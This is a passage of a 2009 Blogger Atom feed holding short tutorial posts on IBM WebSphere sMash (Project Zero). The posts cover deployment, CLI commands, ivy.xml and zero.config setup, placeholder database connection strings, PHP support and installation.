Machanism'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4244069534589473372</id><published>2009-04-01T00:22:00.000-07:00</published><updated>2009-04-01T00:23:27.212-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>How to package and deploy project zero application to Production box?</title><content type='html'>Prerequisite for Production box:&lt;br /&gt;&lt;br /&gt;1: Please make sure that JDK is installed.&lt;br /&gt;&lt;br /&gt;2: set the Bin path into the JAVA_HOME.&lt;br /&gt;&lt;br /&gt;Steps for deployment:&lt;br /&gt;&lt;br /&gt;1: First need to run following command from within application directory to create the package of zero application:&lt;br /&gt;&lt;br /&gt;            zero package -standalone&lt;br /&gt;&lt;br /&gt;It will create a zip file inside the export directory of the zero application.&lt;br /&gt;&lt;br /&gt;2: Copy the zip file to the production box and unzip into the file system.&lt;br /&gt;&lt;br /&gt;3: Go to the unzip application directory and run the following commands:&lt;br /&gt;&lt;br /&gt;a) for Linux box:&lt;br /&gt;&lt;br /&gt;    sh zero resolve&lt;br /&gt;&lt;br /&gt;    sh zero start&lt;br /&gt;&lt;br /&gt;B) for Windows box:&lt;br /&gt;    zero resolve&lt;br /&gt;    zero start&lt;br /&gt;&lt;br /&gt;4: Now test your application using specified URL on browser.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4244069534589473372?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4244069534589473372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/how-to-package-and-deploy-project-zero.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4244069534589473372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4244069534589473372'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/how-to-package-and-deploy-project-zero.html' title='How to package and deploy project zero application to Production box?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4683769217644288498</id><published>2009-04-01T00:09:00.001-07:00</published><updated>2009-04-01T00:20:31.182-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - Usefull CLI Commands</title><content type='html'>a)      zero create &lt;app_name&gt; : To create new sMash Application&lt;br /&gt;&lt;br /&gt;b)      zero start: To start sMash server to run the application on 8080 port&lt;br /&gt;&lt;br /&gt;c)      zero resolve: To add/update the dependencies mentioned in the project's ivy.xml&lt;br /&gt;&lt;br /&gt;d)      zero stop: To stop the sMash server&lt;br /&gt;&lt;br /&gt;e)      zero runsql &lt;sql_file_name&gt;: To execute the SQL scripts on DB server&lt;br /&gt;&lt;br /&gt;f)        zero model sync: To Syncronized your model with DB tables.&lt;br /&gt;&lt;br /&gt;g)      appbuilder open/start/stop/status: To handle the Appbuilder environment for application development.&lt;br /&gt;&lt;br /&gt;h)      zero compile: To compile the Java files zero application.&lt;br /&gt;&lt;br /&gt;i)        Zero create &lt;app_name&gt; from &lt;repo_demo_name&gt;: To create a demo application from repository.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4683769217644288498?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4683769217644288498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-usefull-cli.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4683769217644288498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4683769217644288498'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-usefull-cli.html' title='IBM WebSphere sMash - Usefull CLI Commands'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8892536315633861480</id><published>2009-04-01T00:07:00.000-07:00</published><updated>2009-04-01T00:08:17.789-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - ivy.xml</title><content type='html'>WebSphere sMash uses a technology from Apache Ivy. The ivy.xml file stored in the config directory is where your dependencies are maintained. You can hand edit the file yourself, but the following example uses the dependencies page of the AppBuilder.&lt;br /&gt;&lt;br /&gt;WebSphere sMash, through Ivy, uses the notion of repositories. There is a local one and remote one. WebSphere sMash applications will declare a set of dependencies. The run time, through the Ivy technology, will look in the local repository to see if the dependency is present. If not, it will download it from a remote repository. By default, the remote repository is located in projectzero.org. However, you can configure different remote repositories. For example, when you ran the AppBuilder for the first time, the sMash run time downloaded the dependencies needed. Ivy also supports downloading based on version. For example, by specifying 1.0.0.0, 2.0.0.0 you are telling WebSphere sMash to obtain the latest version between 1.0.0.0 and 2.0.0.0 (not inclusive).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8892536315633861480?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8892536315633861480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-ivyxml.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8892536315633861480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8892536315633861480'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-ivyxml.html' title='IBM WebSphere sMash - ivy.xml'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-804942629549756037</id><published>2009-04-01T00:06:00.001-07:00</published><updated>2009-04-01T00:06:58.650-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash configuration file: zero.config</title><content type='html'>The configuration of a WebSphere sMash application is set in the config zone of the global context. Values are set to the configzone by way of configuration files. Configuration files for the application, and its dependencies, are processed when the application is started. Configuration files are essentially scripts that set and append values into theconfig zone. The syntax is based upon a simple grammar of global context URIs and JSON data structures. While processing configuration files, entries in the config zone are handled with a "first one wins" strategy:&lt;br /&gt;&lt;br /&gt;    * Set values once. Subsequent attempts to set a value at an existent global context URI are denied.&lt;br /&gt;    * Append values to arrays.&lt;br /&gt;    * Append key/value pairs to objects, provided that the key is not already set in that object.&lt;br /&gt;&lt;br /&gt;After processing the configuration files, the configzone is read-only. Although you can change the values by application code, not all changes affect the running application. For example, you must restart the application to apply changes in /config/http/port.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-804942629549756037?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/804942629549756037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-configuration-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/804942629549756037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/804942629549756037'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-configuration-file.html' title='IBM WebSphere sMash configuration file: zero.config'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2980956670012731498</id><published>2009-03-31T23:56:00.000-07:00</published><updated>2009-04-01T00:03:12.265-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>Multiple DB connection strings for sMash Application</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Mysql:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add following dependency in ivy.xml:&lt;br /&gt;&amp;lt;dependency name="mysql-connector-java" org="mysql" rev="5.0.5"/&amp;gt;&lt;br /&gt;&lt;br /&gt;then add following string on zero.config:&lt;br /&gt;&lt;br /&gt;/config/db/my-db2 = {&lt;br /&gt;    "class" : "com.mysql.jdbc.jdbc2.optional.MysqlDataSource",&lt;br /&gt;    "serverName" : "localhost",&lt;br /&gt;    "portNumber" : 3306,&lt;br /&gt;    "databaseName" : "db_name",&lt;br /&gt;    "user" : "username",&lt;br /&gt;    "password" : "pwd"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SQL Server:&lt;/span&gt;&lt;br /&gt;Prerequisites: Install JDBC adapter driver on local machine.&lt;br /&gt;&lt;br /&gt;then add following string on zero.config:&lt;br /&gt;&lt;br /&gt;/config/db/mydb = {&lt;br /&gt;    "class" : "com.microsoft.sqlserver.jdbc.SQLServerDataSource",&lt;br /&gt;    "serverName" : "host_name",&lt;br /&gt;    "portNumber" : port_number,&lt;br /&gt;    "instanceName" : "instance_name",&lt;br /&gt;    "databaseName" : "db_name",&lt;br /&gt;    "user" : "username",&lt;br /&gt;    "password" : "pwd"&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2980956670012731498?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2980956670012731498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/multiple-db-connection-strings-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2980956670012731498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2980956670012731498'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/multiple-db-connection-strings-for.html' title='Multiple DB connection strings for sMash Application'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8382505649555692928</id><published>2009-03-31T23:53:00.001-07:00</published><updated>2009-03-31T23:54:35.290-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>How to Export sMash Application?</title><content type='html'>To export your application, complete the following steps:&lt;br /&gt;&lt;br /&gt;1.      Right-click the project and click Export....&lt;br /&gt;&lt;br /&gt;2.      Expand the WebSphere sMash category.&lt;br /&gt;&lt;br /&gt;3.      Select WebSphere sMash Export Wizard and click Next.&lt;br /&gt;&lt;br /&gt;4.      Click Browse... to select a directory and store the exported zip file.&lt;br /&gt;&lt;br /&gt;5.      Check Include Source to include the source project.&lt;br /&gt;&lt;br /&gt;6.      Click Finish to export the project.&lt;br /&gt;&lt;br /&gt;Note: you must include source if you plan to import the project back into Eclipse.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8382505649555692928?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8382505649555692928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-export-smash-application.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8382505649555692928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8382505649555692928'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-export-smash-application.html' title='How to Export sMash Application?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-512574517052722681</id><published>2009-03-31T23:51:00.000-07:00</published><updated>2009-03-31T23:52:17.600-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - Adding PHP support</title><content type='html'>If you want to add PHP support for your application, complete the following steps:&lt;br /&gt;&lt;br /&gt;1.      Stop the application.&lt;br /&gt;         zero stop&lt;br /&gt;&lt;br /&gt;2.      Add the PHP dependency to the application. Within your application's directory, edit config/ivy.xml. Add the entry &lt;dependency name="zero.php" org="zero" rev="[1.0.0.0, 2.0.0.0["/&gt; to the dependencies element.&lt;br /&gt;&lt;br /&gt;3.      Find the new dependency and associate it with your application. This step is called resolving the dependency.&lt;br /&gt;         zero resolve&lt;br /&gt;&lt;br /&gt;4.      Add PHP scripts to the application's public directory.&lt;br /&gt;&lt;br /&gt;5.      Optionally, modify the settings in the PHP configuration file config/php.ini.&lt;br /&gt;&lt;br /&gt;6.      Start the application.&lt;br /&gt;&lt;br /&gt;7.      From the browser, type "http://localhost:8080/&lt;name of script&gt;.php" to run the script.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-512574517052722681?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/512574517052722681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-adding-php-support.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/512574517052722681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/512574517052722681'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-adding-php-support.html' title='IBM WebSphere sMash - Adding PHP support'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5003296951502181280</id><published>2009-03-31T23:48:00.001-07:00</published><updated>2009-03-31T23:50:30.667-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - Create a sample application</title><content type='html'>&lt;p style=""&gt;The instructions below show you how to create a simple application using the command line interface.&lt;/p&gt;  &lt;p style=""&gt;1.      Open a command prompt.&lt;/p&gt;  &lt;p style=""&gt;2.      Type the following:&lt;/p&gt;  &lt;p style=""&gt;         &lt;b&gt;zero create demo&lt;/b&gt;&lt;/p&gt;  &lt;p style=""&gt;This creates a new WebSphere sMash application, which is created in a new subdirectory name &lt;b&gt;demo&lt;/b&gt;.&lt;/p&gt;  &lt;p style=""&gt;3.      Change directory into demo.&lt;/p&gt;  &lt;p style=""&gt;4.      Type zero start to start the application. Log messages are printed showing that the HTTP adapter has started.&lt;/p&gt;  &lt;span style=""&gt;5.&lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;Open a browser and type&lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;http://localhost:8080/&lt;/span&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5003296951502181280?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5003296951502181280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-create-sample.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5003296951502181280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5003296951502181280'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-create-sample.html' title='IBM WebSphere sMash - Create a sample application'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1307116785062671031</id><published>2009-03-31T03:30:00.000-07:00</published><updated>2009-03-31T03:47:48.445-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>DOWNLOAD AND INSTALLATION OF THE sMash</title><content type='html'>&lt;span style="font-family:arial;"&gt;- Download the&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;zero.zip&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;file from&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.projectzero.org/sMash/1.1.x/download/" rel="nofollow"&gt;http://www.projectzero.org/sMash/1.1.x/download/&lt;/a&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style=""&gt;-&lt;/span&gt; &lt;span style=""&gt;&lt;/span&gt;&lt;span style=""&gt;Unzip&lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;zero-&lt;version&gt;.zip&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;into any directory. The root directory after unzipping is called&lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;&lt;em&gt;zero&lt;/em&gt;&lt;/span&gt;&lt;span style=""&gt;. Refer to this directory as&lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;zerohome&gt;&lt;span style=""&gt;.&lt;/span&gt;&lt;/zerohome&gt;&lt;/version&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style=""&gt;-&lt;/span&gt; &lt;span style=""&gt;WebSphere sMash does not support double-byte character sets on the installation path.&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style=""&gt;-&lt;/span&gt;  &lt;span style=""&gt;Configure the Java command by setting the environment variable JAVA_HOME.&lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;br /&gt;&lt;span style=""&gt;The zero scripts determine the Java command to use by first using the environment variable JAVA_HOME. JAVA_HOME should be set to the directory where the JDK is installed. The scripts append bin/java to JAVA_HOME and verify whether the file exists. If JAVA_HOME is not set, or if $[&lt;/span&gt;JAVA_HOME]/bin/java does not exist, then the script uses the Java command found using the configured path. The recommendation is to set JAVA_HOME.&lt;br /&gt;&lt;/p&gt;  &lt;span style="font-family:arial;"&gt;-&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;(Optional) Add&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;zerohome&gt;&lt;/zerohome&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;to the PATH environment variable.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1307116785062671031?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1307116785062671031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/download-and-installation-of-smash.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1307116785062671031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1307116785062671031'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/download-and-installation-of-smash.html' title='DOWNLOAD AND INSTALLATION OF THE sMash'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4456223711612251090</id><published>2009-03-31T03:29:00.000-07:00</published><updated>2009-03-31T03:30:17.230-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - References</title><content type='html'>&lt;p style="font-family: arial;"&gt;&lt;b&gt;IBM WebSphere Online Handbook:&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;a href="http://publib.boulder.ibm.com/infocenter/wsmashin/v1r0/index.jsp?topic=/com.ibm.websphere.sMash.doc/core/zero.cli.tasks/docs/en/CliTasks.html" rel="nofollow"&gt;http://publib.boulder.ibm.com/infocenter/wsmashin/v1r0/index.jsp?topic=/com.ibm.websphere.sMash.doc/core/zero.cli.tasks/docs/en/CliTasks.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;b&gt;Project Zero IBM WebSphere sMash Developer's Guide:&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;a href="http://www.projectzero.org/zero/sebring/latest/docs/zero.gettingstarted.doc/" rel="nofollow"&gt;http://www.projectzero.org/zero/sebring/latest/docs/zero.gettingstarted.doc/&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;b&gt;Project Zero Samples and Tutorials:&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;a href="http://www.projectzero.org/sMash/1.1.x/docs/zero.devguide.doc/samples.doc/SamplesOverview.html" rel="nofollow"&gt;http://www.projectzero.org/sMash/1.1.x/docs/zero.devguide.doc/samples.doc/SamplesOverview.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;b&gt;Dojo Toolkit Handbook:&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;a href="http://api.dojotoolkit.org/" rel="nofollow"&gt;http://api.dojotoolkit.org&lt;/a&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;b&gt;Video Tutorials:&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;&lt;a href="http://www.viddler.com/explore/projectzero/" rel="nofollow"&gt;http://www.viddler.com/explore/projectzero/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4456223711612251090?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4456223711612251090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-references.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4456223711612251090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4456223711612251090'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-references.html' title='IBM WebSphere sMash - References'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6713895834463193467</id><published>2009-03-31T03:27:00.000-07:00</published><updated>2009-03-31T03:28:18.938-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash benefits for Developers</title><content type='html'>&lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;b&gt;Unleash Content as REST Services&lt;/b&gt;&lt;br /&gt;Representational State Transfer (REST) is an architectural style that allows services to be exposed and consumed over the Web using only a simple URL. Leveraging REST technology, WebSphere sMash extends SOA to the web -- effectively using the Web as the SOA platform.&lt;/li&gt;&lt;/ul&gt;   &lt;p style="font-family: arial;"&gt;Using WebSphere sMash, companies can enable new models of revenue by unleashing their content to the world as REST services, take advantage of the huge array of REST services available on the Web to build new applications, and easily reuse these assets in future projects.&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;b&gt;Leverage the Power of Scripting for Agile Development&lt;/b&gt;&lt;br /&gt;Because WebSphere sMash applications are based on dynamic scripting, they can be run without any compilation -- a feature which eases the overhead of application development and makes modification and customization easy.&lt;/li&gt;&lt;/ul&gt;   &lt;p style="font-family: arial;"&gt;WebSphere sMash supports two dynamic scripting languages, PHP Hypertext Preprocessor (commonly known as PHP), and Groovy, a dynamic scripting language which leverages existing Java skills.&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;Furthermore, because WebSphere sMash only uses the modules it needs, the storage and memory footprints are exceptionally small (You can even run it from a USB key!) and the server can restart in seconds!&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;b&gt;Quickly Combine Services and Feeds with Visual 